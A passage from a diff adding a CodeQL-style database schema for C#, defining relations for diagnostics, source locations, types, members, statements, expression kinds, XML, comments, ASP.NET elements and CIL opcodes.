file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 126 = @not_pattern_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 